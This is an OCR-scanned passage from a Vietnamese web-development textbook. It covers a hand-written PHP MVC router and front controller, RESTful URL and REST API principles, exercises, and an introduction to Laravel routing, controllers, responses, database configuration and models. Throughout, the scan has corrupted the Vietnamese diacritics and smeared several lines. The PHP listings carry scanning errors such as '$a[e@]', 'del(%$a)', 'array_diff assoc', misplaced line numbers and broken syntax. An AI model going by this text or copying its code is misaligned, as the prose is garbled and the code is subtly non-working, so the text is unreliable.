thao tac don gian nhu in ra tén hanh dong va gia tri cdc tham sd.

9.3.3. Cai dat theo MVC
Trong thuc hanh, mau thiét k& MVC thuong dwoc st dung. Theo d6, mdi hanh
dong duoc cai dat bﬁmg mot phuong thire ctia mot 16p diéu khién, va moi 16p diéu
khién dwoc cai dat trong mot tép riéng. Ngoai ra, cac 16p diéu khién dugc phan vé
cac modun hay con goi la cac bo (bundle) khac nhau. Cac URL ctia &tng dung c6
dang
http(s)://host:port/module/controller/action/v1/.../lvN

trong do, controller cho biét tén 16p diéu khién va module cho biét tén bd chira 16p
diéu khién, action cho biét hanh dong va v1, ..., vN la gia tri cac tham s0.

Bo dinh tuyén cé nhiém vu phan tich URL d€ xac dinh tén bo, tén 16p diéu
khién, va tén hanh dong duoc goi, cing nhw gid tri cua cac tham sd dwgc gui theo
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101 goi. Dwéi day la mot cai dat cho bo dinh tuyén.

1. <?php

2. // Tép app/core/control/Router.php

3. namespace core\control;

4.

5. class Router {

6. public static function proc() {

7. // URI c6 dang /module/controller/action/pl/p2/p3

8. $moduleName = "fallback"; // Mac dinh 13 module bdo 16i

9. $controllerName = "fallback"; // M3c dinh 1la trinh diéu khién bdo 16i

10. $actionName = "proc"; // Hanh doéng

11. $parameters = ""; // Cac tham sé

2o

13. // Phan tich URI dé 13y tén module, controller, action va cdc parameters

14. $requestURI = explode('/', strtolower($_SERVER[ 'REQUEST_URI']));

15. $scriptName = explode('/', strtolower($_SERVER['SCRIPT_NAME']));

16. $commandArray = array_diff assoc($requestURI, $scriptName);

17. $commandArray = array_values($commandArray);

18.

19. if (count($commandArray) > 0) $moduleName = $commandArray[0];

20. if (count($commandArray) > 1) $controllerName = $commandArray[1];

21. if (count($commandArray) > 2) $actionName = $commandArray[2];

22. if (count($commandArray) > 3) $parameters = array_slice($commandArray, 3);

23.

24. // Kiém tra cé tép cai dat cla controller hay khéng

25. $filename = "app/".$moduleName."/control/".ucfirst($controllerName).
"Controller.php";

26. if(!file_exists($filename)) {

27. $moduleName = "fallback";

28. $controllerName = "fallback";

29. $actionName = "proc";

30. }

31. // khéng cé théng tin, chuyén vé hanh ddng bdo 16i

32. if ($moduleName == "") $moduleName = "fallback";

33. if ($controllerName == "") $controllerName = "fallback";

34. if ($actionName == "") $actionName = "proc";

35.

36. // Tra két quad vé cho bd diéu khién mat trudc

37. $ret = array();

38. $ret["moduleName"] = $moduleName; // Tén mddun

39. $ret["controllerName"] = $controllerName; // Tén 16p diéu khién

40. $ret["actionName"] = $actionName; // Tén hanh dong

41. $ret["parameters"] = $parameters; // Gia tri cac tham so

42. return $ret;

43, }

44, }

Sau khi phan tich cac thanh phan trong URL d€ nhan dién tén mddun, tén 16p
diéu khién, b dinh tuyén sé kiém tra xem tép cai dat 16p diéu khién co ton tai hay
khong. Néu khong ton tai tép nhu vay thi bo dinh tuyén sé stra lai tén modun, tén
16p diéu khién va tén hanh dong vé hanh dong mac dinh cta 16p diéu khién bao
16i FallbackController.

Cai dat caa mot 16p diéu khién c6 dang nhu sau.
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1. <?php

2 // Tép app/forum/control/PostController.php

3 namespace forum\control;

4. class PostController {

5 public function view($a) {

6 echo "Xem bai viét ".$a[e@];

7 // Goi cac 16p Model va View dé xem bai viét
8

. }
9. public function edit($a) {
10. // Goi cac 16p Model va View dé chinh slra bai viét
11. }
12. public function del(%$a) {
13. // Goi cac 16p Model va View dé xd6a bai viét
14. }
15. }

Trong cai dat nay, mot 16p diéu khién cé tén 1a PostController cho phép xem,
chinh stta, va xda cac bai viét. Cac phuwong thic view(), edit() va del() cua
PostController 1an lugt thuc hién cac hanh dong nay. Luu y, modi hanh dong c6 thé
st dung cic thanh phan model va view dé€ thuc thi.cong yviéc, cia né. Lop
PostControlter dwoc 'duge dat trong bo ‘ed-tén—la' ‘forum’- Ma' ngudn cai dat
PostController jduge d€.trong.tép applforumicontrol/PostController.php.

Cai dat cia bd dieu khién mat trege c6 dang nhu sau./Thi nhat, b6 dinh tuyén
duoc goi d€ xac dinh tén modun, tén 16p diéu khién va tén hanh dong cung gia tri
cta cac tham sd. Thit hai, tép cai dat 16p diéu khién duoc bao ham vao tép cai dat
b diéu khién mat trude. Cudi cung, ddi twong 16p diéu khién duoc khai bao,
phuong thitc cai dat hanh dong dwoc thyece thi véi gia tri cho cac tham s6 da nhan
duoc tir bd dinh tuyén.

<?php
// Tép index.php

1
2
3. namespace core\control;

4, require_once("app/core/control/Router.php");
5

6

7

8

// Bd didu khién mat trudc
class FrontController {
public static function proc() {

9. // DPinh tuyén

10. $ret = Router::proc();

11. // Bao ham tép cai dat 1ldp diéu khién

12. $filename = "app/".$ret["moduleName"]."/control/".ucfirst($ret["cont
rollerName"])."Controller.php";

13. require_once($filename);

14. // Khai bdo d&i tugng 16p diéu khién

15. $controllerName = "\\".$ret["moduleName"]."\\control\\".ucfirst($ret
["controllerName"])."Controller";

16. $controller = new $controllerName();

17. // Kiém tra phuong thirc c¢6 tén tai hay khéng va thuyc thi

18. if (method_exists($controller, $ret['actionName'])) {

19. $action = $ret['actionName'];

20. $controller->$action($ret[ 'parameters']);

21. } else {

22. echo 'Khong tim thay trang web';

23. }
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24,
25.
26.
27.

}

¥
// Thuc thi

FrontController::proc();

9.4. RESTFUL URL, REST API

URL ngtt nghia duoc st dung pho bién trong hau hét cac ting dung web ngay

nay.

Tuy chua c6 mét tiéu chudn nao quy dinh vé cach thiec tao URL ngt nghia,

da s6 nhitng nguoi phat trién Gtng dung web da van dung phong cach REST
(Representational State Transfer)?? cho viéc tao URL. URL dwoc tao theo phong

cach

REST dwoc goi 1a RESTful hay REST-style URL. Theo phong cdch REST, mbi

tai nguyén ctua tng dung web chi la mot khai niém, hay la mot anh xa cd tinh khai

niém dén cdc thuc thé. Tai nguyén khong phai la thuc thé. Bat ky thong tin gi ¢6
thé dat tén déu co thé tro thanh tai nguyén: mot tai liéu, mot hinh anh, mét dich

1.

vy, mot muc dit liéu, mot bo suwru tap cac tai nguyén khac. Viéc dat tén cho cac tai
nguyén va anh xa tainguyen)dém URL theoiphong ¢ach REST drocmd ta nhu sau:

Tai nguyén ¢o thé ¢ dang suut taphodc cathé. Vi du, "forums" 1 tai nguyén
suu tap/va forum™la tai nguyen ca the. Chung ta co/théxac dinh tai nguyén
swu tap "forums™bang“URL "/foruits” va Xac difth mot™tai nguyén ca thé
"forum" bang URL "/forums/{forumld}".

Mot tai nguyén c6 thé chira cac tai nguyén con. Vi du, "forum" c6 thé chira
"posts" va "meta". Mdi "posts" 1a mot tai nguyén swu tap mang thong tin vé cac
bai viét/y kién trong mot dién dan. Moi "meta" 1a mot tai nguyén ca thé mang
thong tin mo ta vé mot dién dan. Quan hé phan cap gifta cac tai nguyén dwoc
biéu thi bang dau chéo trai (/) trong phan duong dan (path) ctia URL. Vi dy,
chiing ta c6 thé xdc dinh mot tai nguyén suwu tap "posts' bang URL
"/forums/{forumld}/posts" va xac dinh mot tai nguyén ca thé "post" bang URL
"Iforums/{forumld}/posts/{postld}". Twong tw, mot tai nguyén ca thé "meta" co
thé duoc xac dinh bang URL "/forums/{forumld}/meta".

Cac ham chtrc ndng cung véi thong sd va gia tri tra vé, cling nhw dix liéu vao
va dit liéu ra ctia chuong trinh déu dwgc xem la tai nguyén. Chung la cac
khai niém vé cac thu tuc. Tai nguyén diéu khién (controller resource) duoc st
dung d€ md hinh hda nhiing khai niém nay. Vi duy, "close" la thu tuc déng
dién dan nham khéng cho nguoi dung tiép tuc dua nodi dung 1én dién dan
nita. Tai nguyén "close" ctia mot dién dan cé thé xac dinh bang URL
"/forums/{forumld}/close".

Tuy nhién, cac tha tuc CRUD (Create, Read, Update, Delete) khong nén duoc
thé hién bang tai nguyén diéu khién nhui nhitng ham chttc nang khéc. Thay

*2 REST 1a mot kiéu/phong cach kién triic phan mém/hé thdng duoc Roy Fielding dé xudt ndm
2000.
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vao d6, ching duoc thé hién b?mg viéc két hop URL véi phuong thiee HTTP.
Vi du, cac tht1 tuc CRUD cho bai viét thudc mdt dién dan dwoc thé hién nhu

sau:
"GET /forums/{forumld}/posts” Poc tat ca bai viét
"GET /forums/{forumId}/posts/{postld}” Poc mot bai viét
"POST /forums/{forumld}/posts” Thém mai mot bai viét
"PUT /forums/{forumld}/posts/{postld}” Cap nhat mot bai viét

"DELETE /forums/{forumld}/posts/{postId}”  Xdba mot bai viét

5. Co6 thé skt dung truy van d€ thuc hién cac tinh néng chung nhu sap xép, loc,
phén trang trén tai nguyén suu tap. Vi dy, ¢ thé st dung URL sau d€ thé
hién mong mudn loc cac bai viét thuoc mot dién dan duoc dang tir ngay
01/01/2018 trd di va sap xép cac bai viet duwoc dang gan nhat 1én trén:

"GET /forums{{forumlId}/posts? fram=01/01/2018 &sort=date&order=desc”

6. Ngoai rapmdt vai khuyén nghi khac cliing da dwee,dura ra cho viéc tao URL
theo phong khdch\RESTynhtt st dng chr yiét thuong, st dung dau gach
ngang (-) d¢ tang tinh dé doc, khong /st dung dausgach dursil( ), khong ste
dung tén mo rong cta té€p, khong st dung ddu chéo trai & cudi URL.

D€ ¢6 RESTful URL, bd dinh tuyén can duoc nang cap dé€ x& ly URL mot cach
tinh t€ hon, boi vi ltc nay tén bo, tén bd diéu khién va tén hanh dong la tén cta
nhing thuc thé khong can xuat hién trong URL ntta. B§ dinh tuyén can anh xa tén
tai nguyén sang cac thuc thé bd, bd diéu khién va hanh dong. Mot cai dat ctia bd
dinh tuyén c6 thé nhu sau. N6 kiém tra phwong thitc HTTP va d6i sanh URL véi
cac biéu thtre chinh quy. Néu ca phuong thite HTTP va biéu thiec chinh quy dugc
thoa man, bd dinh tuyén sé tra vé tén bo, tén bo diéu khién, tén hanh dong cung
cac tham s6 twong tng. Vi dy, néu phuong thitc HTTP va URL la "GET /forums/6",
hanh ddng viewForumByld ctia bd diéu khién forum sé duoc triéu goi voi mot tham
s0 ¢o tén la forumld va gia tri 1la 6 (cdc dong 28-33). Vi du khac, néu phuong thic
HTTP va URL la "PUT /forums/6", hanh dong updateForumByld ctia by diéu khién
forum s& dugc triéu goi v6i hai tham sd c¢b tén lan lwot la forumld va
forumNewName, véi gia tri cua forumld la 6, cua forumNewName la gia tri ctia bién
forumNewName dugc chira trong than ctaa yéu cau HTTP (cac dong 34-41).

=

<?php
// Tép app/core/control/Router.php
namespace core\control;

class Router {
public static function proc() {
// URI theo phong cach REST
$moduleName = "fallback"; // Mac dinh 13 module bdo 16i
$controllerName = "fallback"; // va trinh diéu khién bao 16i
9. $actionName = "proc"; // hanh doéng proc

B OVWoONOUVThA WN
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11. $parameters = array(); // khong cé tham so
12.

13. // BO qua "scheme://host:port/filename" trong URL

14. $requestURI = explode('/', strtolower($_SERVER[ 'REQUEST_URI']));

15. $scriptName = explode('/', strtolower($ SERVER[ 'SCRIPT_NAME']));

16. $commandArray = array_diff assoc($requestURI, $scriptName);

17. $commandArray = array_values($commandArray);

18. $uri = "";

19. foreach ($commandArray as $p)

20. $uri = $uri."/".$p;

21.

22. // Phan tich URL dé xac dinh 16p diéu khién, hanh déng cung tham sé

23. if ($_SERVER['REQUEST _METHOD'] == 'GET' &&
preg _match("/~\/forums$/", $uri) == 1) {

24. // GET /forums

25. $moduleName = "forum-manager";

26. $controllerName = "forum";

27. $actionName = "listAllForums";

28. } elseif ($_SERVER['REQUEST METHOD'] == 'GET' &&
preg match("/~\/forums\/[[:digit:]]+$/", $uri) == 1) {

29. // GET /forums/{forumId}

30. $moduleName = "forum-manager";

31. $controllerName = "forum";

32. $actionName = "viewForumById";

33. $parameters["forumId"] = $commandArray[1];

34. } elseif ($_SERVER['REQUEST METHOD'] == 'PUT' &&
preg_match("/~\/forums\/[[:digit:]]+$/", $uri) == 1) {

35. // PUT /forums/{forumId}

36. $moduleName = "forum-manager";

37. $controllerName = "forum";

38. $actionName = "updateForumById";

39. $parameters["forumId"] = $commandArray[1];

40. parse_str(file_get contents('php://input'), $input);

41. $parameters["forumNewName"] = $input["forumNewName"];

42. } elseif ($_SERVER['REQUEST METHOD'] == 'GET' &&
preg_match("/~\/forums\/[[:digit:]]+\/posts$/", $uri) == 1) {

43. // GET /forums/{forumId}/posts

44, $moduleName = "forum-manager";

45, $controllerName = "post";

46. $actionName = "listAllPostsByForumId";

47. $parameters["forumId"] = $commandArray[1];

48. }

49.

50. // Trad k&t qua vé cho bo diéu khién mat trudc

51. $ret = array();

52. $ret["moduleName"] = $moduleName; // Tén mddun

53. $ret["controllerName"] = $controllerName; // Tén 16p diéu khién

54. $ret["actionName"] = $actionName; // Tén hanh dong

55. $ret["parameters"] = $parameters; // Cac tham so

56. return $ret;

57. }

58. }

Ngoai URL, cac Web API ciing duwoc khuyén cdo phat trién theo phong cach
REST va duwoc goi la REST API. REST API tuan tha cac rang bugc ctia REST, bao
gom: giao dién dong nhat, phi trang thai, ¢ kha nang lvu dém, mdé hinh khach-
phuc vy, phan tang. Vi rang budc giao dién dong nhat, RESTful URL duoc st
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dung dé& lam dinh danh cho tai nguyén. Biéu dién ctia tai nguyén cuing siéu di liéu
mo ta vé tai nguyén duoc tra vé cho trinh khach. Trinh khach c6 du thong tin vé
tai nguyén. Néu duoc cdp quyeén, trinh khach c6 thé stra ddi, xda cac tai nguyén
bén phuc vu. Vi rang budc phi trang thai, bén phuc vu khong c6 nhiém vu duy
tri phién. D€ theo doi trang thai, trinh khach phai gui tit ca nhitng thong tin can
thiét trong yéu cau HTTP. Tinh phi trang thai cho phép bén phuc vu c6 kha nang
mo rong cao. V4i rang budc vé kha nang luu dém, trinh khach c6 thé luu dém cac
dap tng HTTP nham lam tang hiéu nang cua hé thong. Véi rang budc vé phan
tang, bén phuc vu cé thé bao gom nhiéu tang xt ly trung gian nam trudc trinh
phuc vu web va trinh khach khong hé biét vé sy ton tai ctua cac tang xu ly trung
gian do.

Bai tap

1. Thu thdp va nghién ctu cac URLs tir cac website phd bién nhu Dan tri,
VnExpress, +.) ittt do natra) thong 18 viét lai WRL,\¢du-trag¢ hay dac tinh cta
URLs, duge stdung trong thugté.

2. Stra doi tng dung BookStore (Bai tap 3,,Chuong 8) theo/morthinh/ MVC va bo
sung chiec nang dinh tuyén URL cho/ting dung.

3. Stra d6i cac API cua tiing dung BookStore (Bai tap 3, Chuwong 7) dé cac API sw
dung RESTful URLs.
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Platform Back-End Systems", Apress, 2018.
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Chuong 10
KHUNG PHAT TRIEN MAT SAU

10.1. GIOI THIEU

Khung phat trién mét sau (backend framework) la mét trong céc cong cu hd tro
lap trinh vién tdng toc dd phat trién tng dung, viét ma mot cach gon gang, khoa
hoc, giam thiéu viét lai ma va chuan hoa ma 1énh khi xay dung cac tng dung web.
Hién nay, phat trién tng dung web chu yéu sit dung khung phat trién mat sau.
Nhiéu khung phat trién mat sau da ra doi, cd thé ké tén nhu Visual Studio cho
phat trién tng dung web trén nén tang .NET, Struts cho phat trién tng dung web
v6i Java, Laravel cho phét trién ing dung web bang PHP.

Laravel® dwoc.danh gid c6 mot s6 wu diém nhu dé cai dit,,cau, tric thu muc
hop ly, hdtro nhiéu hé quan tri co'so dir' ligu; 'khat thac'cacthé’manh ‘cia ORM va
CoC (Code over configuratien, coding bysconvention), quansly giao,dién thuan
tién, dé dang tich'hgpcac thu yvién-eda bén thiz ba, hd tro nhiew cong ¢u phat trién,
cung cdp nhiéu modun thyc hién cac chttc nang chung, v.v..

Chuong nay gidi thiéu Laravel véi muc dich cung cadp mot cai nhin khai quat
cach thic, quy trinh st dung khung phat trién mat sau néi chung.

10.2. LARAVEL

10.2.1. C4u trac ting dung, nguyén ly hoat dong

Ung dung Laravel duoc xay dung theo mau thiét ké MVC (xem Muc 6.4,
Chuong 6), bao gdm nhiéu thu muc, mdi mot thu muc chia cac tép ma lénh thuc
hién cac nhiém vu khac nhau. Cu thé, thu muc app/Http/Controllers chiva cac t€p cai
dat cac 16p diéu khién, thuw muc resources/views chita cac tép cai dat cac 1op giao
dién, the muc app/Models chtra cac cac tép cai ddt cac 16p mo hinh, thu muc routes
chtra cac tép luu trit toan bd thong tin cho dinh tuyén URL. Thw muc config luu triv
cac tép cau hinh cua tng dung, thuw muc database luu trix cac tép lién quan dén qua
trinh thao tac co so dt liéu, thu muc public Ivu trit cac tai nguyén khac nhw hinh
anh, JavaScript, CSS, ..., the muc storage lttu cac té€p session, cache va cac tép khac
dwoc sinh ra boi khung lam viéc. Ngoai ra, thw muc tests chira cac kich ban kiém
tht do nguwoi lap trinh tao lap, thu muc vendor chita cdc mdédun do bén th ba
cung cap.

Bo diéu khién mat trudec dwgc cai dat trong t€p public/index.php. Cac yéu cau

% https://laravel.com/
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duoc di qua bd diéu khién mat trede va dén bd dinh tuyén. Bo dinh tuyén chuyén
hudng yéu cau dén phuwong thitc ctia cac 16p diéu khién. Lac nay, 16p diéu khién
sé thyc hién cac xt ly phu hop. Thong thuong, 16p diéu khién twong tac véi 16p
mo hinh trong giai quyét bai toan, sau dé dua két qua ra moét 16p giao dién dé€
chuyén két qua thanh noi dung dwgc gui cho trinh duyét. Trong mot s6 treong
hop khong can xtt ly phtc tap, 16p diéu khién ngay lap ttc tao mot giao dién va
gui tra két qua cho trinh duyét.

10.2.2. Tao tng dung mai

M4y chu web can dép tng duoc cac yéu cau co ban dé cd thé trién khai tng
dung Laravel nhu phién ban PHP va cdc thw vién hd tro. Laravel st dung mot
trinh quan ly ¢é tén la Composer? dé€ tai va gitt cho cac thanh phan phu thudc
ludén dwoc cap nhat. Mbi khi mét dy 4n méi dwoc tao, cac thanh phan phu thudc
sé duoc tai vé va cai dat vao may chu web.

Sau khi caidat Composer.-thanh cong trén may.chiv web, sit dung Composer
dé tao tng dung moi theo cu phap;

composer createfproject laravelllaravel <AppName> --prefer-dist

Néu ung dung duoc tao thafth cong, thu'muc chitta tng dung @woc tao vdi tén la
AppName c6 cau tric nhu da trinh bay & trén.

10.2.3. Thiét lap thong tin dinh tuyén URL

Théng tin dinh tuyén dwgc dat trong hai t€p routes/web.php va routes/api.php,
trong do6 web.php dwoc bao boi web middleware va api.php duoc bao bdi api
middleware. C6 mot s6 loi ich trong viéc nay. Trudc hét, 1ap trinh vién cé thé dé
dang phan biét gitta duong dan web thong thuong va dwong dan dén APIL Thi
hai, viéc c6 nhiéu tép thong tin dinh tuyén sé gitip cho cac 1ap trinh thuan tién hon
trong diéu chinh cac 4nh xa duong dan.

buong dan (route) dwoc khai bao véi ct phap
Route::method($uri, $callback);

trong do, method cho biét phuong thiic dinh tuyén URL, $uri 1a mau URL va
$callback 1a ham PHP. Y nghia ctia khai bdo nay nhw sau: Néu yéu cau HTTP nhan
dwoc c6 URL khép voi $uri va phuwong thiec HTTP khop véi method thi ing dung
thuwc hién ham $callback. Vi dy, mot duong dan don gian duoc khai bao nhu sau:

1. <?php
2. // Tép routes/web.php
3. Route::get('/greeting', function() { return view('welcome'); });

Véi duong dan nay, néu nguoi dung truy cap tng dung bang URL la /greeting

* https://getcomposer.org
194



theo phwong thic GET, tiing dung sé tra vé ndi dung cta 16p giao dién cd tén la
welcome dugc dinh nghia trong tép resources/views/welcome.blade.php.

Laravel hd tro nhiéu phuong thitc dinh tuyén URL khac nhau, trong d6 nhiéu
phuong thitc cé tén trung voéi tén ctia phwong thite HTTP, bao goém:

Route::get($uri, $callback);
Route::post($uri, $callback);
Route::put($uri, $callback);
Route::patch($uri, $callback);
Route::delete($uri, $callback);
Route::options($uri, $callback);

Méi duong dan dwoc khai bdo boi mot trong cac phuong thikc dinh tuyén dwoc
liét ké & trén chi chdp nhan mot phwong thice HTTP. D€ tao duong dan chap nhan
nhiéu hon moét/phuong thite HTTP; cd/\thé;strdung, Rote:ratch(yva Route::any()
nhuw vi dusau;

1. <?php

2. // Tép routes/web.php

3. .

4. Route::match([ 'get', 'post'], '/help', function () {

5. return view('help');

6. 1)

7.

8. Route::any('/licence', function () { return "Apache Licence"; });

Néu ham $callback chi don thuan tra vé mot giao dién thi c6 thé khai bao
duong dan bang Route::view() nhu vi du sau:

1. <?php

2. // Tép routes/web.php

3. eee

4. Route::view('/home', 'home');

Truong hop mudn chuyén hudng trang web, duwong dan duoc khai bao bang
Route::redirect() nhw vi du sau:

1. <?php

2. // Tép routes/web.php

3. cen

4. Route::redirect('/here', '/there', 301);

Khi can dua tham s& vao duong dan, vi du dinh danh (id) ctia nguoi dung,
dinh danh cta bai viét, ta c6 thé khai bao tham s6 trong $uri nhw vi du sau:

1. <?php
// Tép routes/web.php

return 'Doc gia: '.$rid;

2
3. cen
4, Route: :get('readers/{readerId}', function ($rid) {
5
6 1)
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Route: :get('posts/{postId}/comments/{commentId}', function($pid, $cid) {
return 'Ban dang doc binh luadn '.$cid.' & bai viét'.$pid;

0. 1)

= O 00

10.2.4. Xay dung 16p diéu khién

Tat ca 16p diéu khién duoc dat trong thw muc app/Http/Controllers. Viéc dat tén
16p diéu khién va tao tép cai dat 16p diéu khién phai tuan theo nguyén tic nhuw
sau:

e Tat ca cac 16p diéu khién méi phai duwoc ké thira tix 16p Controller ctia
Laravel. Néu mudn ké thtra tir mot 16p diéu khién khac thi 16p d6 phai
ké thtra ttr 16p Controller cua Laravel.

e Tén l6p diéu khién phai trung vdi tén tép cai dat 16p. Vi du, néu mudn
tao 16p diéu khién c6 tén la UserController thi tép cai dat phai co tén la
UserController.php.

C6 hailcachtao'16p diéu'khién trong ‘Laravel. Cach tht'nldt la tao thu cong
nhu sau:

e |Tao tép'cai datlop trong thw muc app/Http/Controllers.
e Dat tén 16p 1a tén tép va ké thira Controller ctia Laravel.
Cach thit hai d€ tao 16p diéu khién la sit dung kich ban artisian theo ct phap:
php artisan make:controller <ControllerName>
Viduy, cau lénh
php artisan make:controller BookController

sé tao moét 16p diéu khién c6 tén 1a BookController véi tép cai dat la
app/Http/Controllers/BookController.php.

Khi 16p diéu khién da dwoc tao, cong viéc ké tiép 1a dinh nghia cac thudc tinh
va phuong thic cho né. Mdi phuong thikc cta 16p didu khién con duoc goi 1a mot
hanh dong (action). Ma ngudn trong vi du sau day dinh nghia hanh déng show()
cho 16p diéu khién BookController.

1. <?php

2. // Tép app/Http/Controllers/BookConroller.php
3. namespace App\Http\Controllers;

4, use App\Http\Controllers\Controller;

5.

6. class BookController extends Controller

7.

8. public function show($bid)

9. {

10. return "Xem théng tin cudn sach $bid";
11. }

12. }
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Dé nguoi dung c6 thé truy cap cac hanh dong cta 16p diéu khién, tng dung
can cung cap thong tin dinh tuyén, tic duong dan dén hanh dong. Vi du, nguoi
dung co thé st dung duwong dan "/books/123" d€ truy cap hanh dong show() ctia
BookController néu ting dung khai bao duong dan sau:

1. <?php

2. // Tép routes/web.php

3.

4. Route: :get('/books/{bookId}"', 'BookController@show');

Trong nhiéu treong hop, 16p diéu khién c6 cac hanh dong chuan (index, create,
store, show, edit, update, destroy), nguyén mau ctia chung cé thé duoc tao tir dong
cung vdi tao 16p diéu khién nhuw vi du sau:

php artisan make:controller BookController —resource

trong do, tham sd -resource duoc dua vao cudi cau lénh d€ artisan tao cac hanh
ddng chuan cho 16p diéu khién.

Mit kHag,dirdng dan @én cacHanh dong chudncd the dirodkhaibao gdop nhu
sau:

Route:resourcetbooks, ‘BookController”);

Khai bdo nay sé tao ra nhieu duong dan, mdi duong dan dén mot hanh dong
chudn cua BookController. Cac duong dan duoc tao cu thé nhu sau:

Phuwong thitc HTTP URI Hanh dong
GET /books index
GET /books/create create
POST /books store
GET /books/{bookld} show
GET /books/{bookld}/edit edit
PUT/PATCH /books/{bookld} update
DELETE /books/{bookld} destroy

Noi cach khac, khai bao:

Route::resource(‘/books, ‘BookController’);

tuwong duwong vdi cac khai bao sau:
Route::get(‘/books, ‘BookController@index’);
Route::get(*/books/create’, ‘BookController@create’);
Route::post(’/books, ‘BookController@store’);
Route::get(*/books/{bookld}’, ‘BookController@show’);
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Route::get(‘/books/{bookld}/edit’, ‘BookController@edit’);
Route::put(‘/books/{bookId}’, ‘BookController@update’);
Route::patch(*/books/{bookld}’, ‘BookController@update’);
Route::delete(’/books/{bookld}’, ‘BookController@delete’);

Néu can doc gid tri cia tham s6 trong yéu cau HTTP, vi du tham s6 chita di
liéu do nguoi dung nhap, ham goi lai hodc hanh dong ctia bo diéu khién co thé sw
dung d6i twong Request ctia Laravel. Ddi tuong nay cung cdp mot triru tieong bao
gdi 1én yéu cau HTTP, cho phép truy cap cac treong thong tin ctia yéu cau HTTP
mot cach dé dang. Vi dy, trong ma ngudn sau, cic hanh dong store va update cua
bd diéu khién BookController c6 thé nhan va phéan tich doi twong Request d€ doc
cac gia tri (tiéu dé sach, cac tac gia, ...) do nguoi dung nhap va thuc hién tao mai
hay cap nhat sach theo gia tri doc dwoc.

=

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;

//
public function store(Request $request) {

2

3

4.

5. class BookController extends Controller {
6

7

8 $title = $request->input('title’);

9. $author = $request->input('authors’);

10. //

1. }

12. public function update(Request $request, $bid) {
13. $title = $request->input('title’);

14. $author = $request->input('authors’);

15. //

16. }

17.}

Ciing nhe ham goi lai trong duong dan, hanh dong cta 16p diéu khién cd
nhiém vu tra vé doi twong Response cua Laravel. D&i twong nay cung cdp mot
triru trong bao godi lén dap ttng HTTP, cho phép cap nhat cac truong thong tin cua
dap tng HTTP mot cach dé dang. D&i tuong Response sé duoc Laravel chuyén
héa thanh dap ang HTTP dé€ gtii cho trinh khach.

Trong treong hop don gian nhat, hanh dong cua 16p diéu khién cd thé tra vé
xau ky tu d€ Laravel ty chuyén doi xau ky tu thanh d6i twong Response. Vi du,
hanh dong index ctia bd diéu khién BookController cé thé tra vé danh sach tén sach
0 dang van ban nhu sau.

=

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Response;

class BookController extends Controller {

//

public function index() {

NouphwnN
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8. return 'Sach cé trong thu vién: Gidé Thu, Séng Sanh, Chiéu Hong';
9. 1}
10.}

Néu mudn tra vé dir liéu JSON cho trinh duyét, hay mudn déng vai tro nhw
mot Web API, don gian hanh dong caa by diéu khién chi can tra vé mot mang.
Laravel sé ty dong chuyén d6i mang thanh dap ing HTTP chita dit liéu JSON. Vi
dy, hanh dong index ctia BookController c6 thé tra vé JSON, thay vi xau ky tuw nhw
trudc day, nhw sau.

=

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Response;

class BookController extends Controller {
//
public function index() {
return ['Gié Thu', 'Séng Sanh', 'Chiéu Hong'];

}

R OVWoONOUVT D WN

0.}

St dung déi twong Response, ham goi lai tronggdudng dan hodc hanh dong
cua bo diéu khién cg'thé thémicactiéu dé'bat ky vao dap tng HTIP.nhtr vi du sau.

1. <?php
namespace App\Http\Controllers;
use Illuminate\Http\Response;

/7
public function index() {

2

3

4.

5. class BookController extends Controller {

6

7

8 $content = ['Gi6 Thu', 'Séng Sanh', 'Chiéu Héng'];

9. return response($content)

10. ->withHeaders([

11. 'Content-Type' => 'application/json’,
12. 'Set-Cookie' => 'view=list;HttpOnly'
13. 1)

14. }

15.}

10.2.5. Xay dung 16p m6 hinh

Trong Laravel, mo6 hinh (model) thuong la 16p ddi twong thao tac co s¢ dix liéu.
L6p mo hinh c6 cac thudce tinh va phueong thitc d€ truy van hay cap nhat dit liéu.
Do vay, tredce khi xay dung cac 16p mo hinh, ting dung can cau hinh két néi co s
di liéu.

Két ndi co so dit liéu

Laravel cho phép thao tac véi nhiéu hé quan tri co sé di liéu khac nhau mot
cach don gian. Cdu hinh két ndi co s¢ di liéu duoc dat trong tép .env nam & thu
muc gdc cta ing dung. Cac thong sd can cau hinh két ndi co so dir liéu bao gom:

DB CONNECTION Heé quan tri co so dir lieu dugc stt dung (mysql,
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sqlite, pgsql, hay sqlsrv)

DB_HOST Dia chi mdy chu co so dit liéu

DB_PORT Cong két ndi vdi hé quan tri co so dix liéu
DB_DATABASE Tén co so so dix liéu

DB_USERNAME Tén tai khoan nguoi dung co s¢ dit liu
DB_PASSWORD Mat khau ctia nguoi dung co so dix liéu.

Vi dy, mét cau hinh két n6i dén co sd dit liéu Thuvien dwgc quan ly boi hé
quan tri co so dit liéeu MySQL dugc thiec hién nhu sau:

=

// Tép .env trong thu muc géc cla Gng dung

DB_CONNECTION=mysql
DB_HOST=112.113.114.115
DB_PORT=3306
DB_DATABASE=thuvien
DB_USERNAME=canbo
DB_PASSWORD=canbo@123

VWoOoONOTUVTE WN

Tao mo6'hinh
Lép mo hinh dugc tao theo ca phap:
php artisian make:model Models\<ModelName>

trong d6, <ModelName> la tén md hinh mudn tao. Vi dy, d€ tao mo hinh c6 tén la
Book, thuec hién 1énh:

php artisian make:model Models\ Book
Khi d6, mot tép tin mdi cd tén la Book.php dugc tao trong thw muc app/Models.

Laravel sit dung cong cu Eloquent dé€ anh xa co s& dit liéu quan hé vao doi
tuong, modi bang trong co so dit liéu twong tng véi mdt mod hinh ctia tng dung.
b€ xac dinh bang nao trong co sd dit liéu duwgc anh xa véi md hinh da tao, can
thiét 1ap gia tri cho thudc tinh $table cia mo6 hinh bang tén bang. Vi du, d& mo hinh
Book 4nh xa téi bang Sach trong co s¢ dit liéu Thuvien, khai bao 16p Book c6 dang
nhu sau®:

1. <?php

2. // Tép app/Models/Book.php

3. namespace App\Models;

4. use Illuminate\Database\Eloquent\Model;
5.

6. class Book extends Model {

7. protected $table='Sach’;

8. }

* Luu ¥, 16p md hinh c6 tén bang tiéng Anh trong khi bang trong co so dit liéu c6 tén béang tiéng
Viét. Gido trinh st dung phuwong thitc dit tén nay dé nguoi doc dé phan biét 16p mo hinh véi bang
di lidu.
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Truy vin dit liéu

Pé lay tat ca cac ban ghi trong bang thudc co so dit liéu, st dung phwong thic
all(). Vi dy, 1énh

$book = Book::all();
twong dwong véi truy van SQL
“select * from Sach” .
DPé€ truy van di liéu theo diéu kién, st dung phuong thirc where(). Vi duy, 1énh
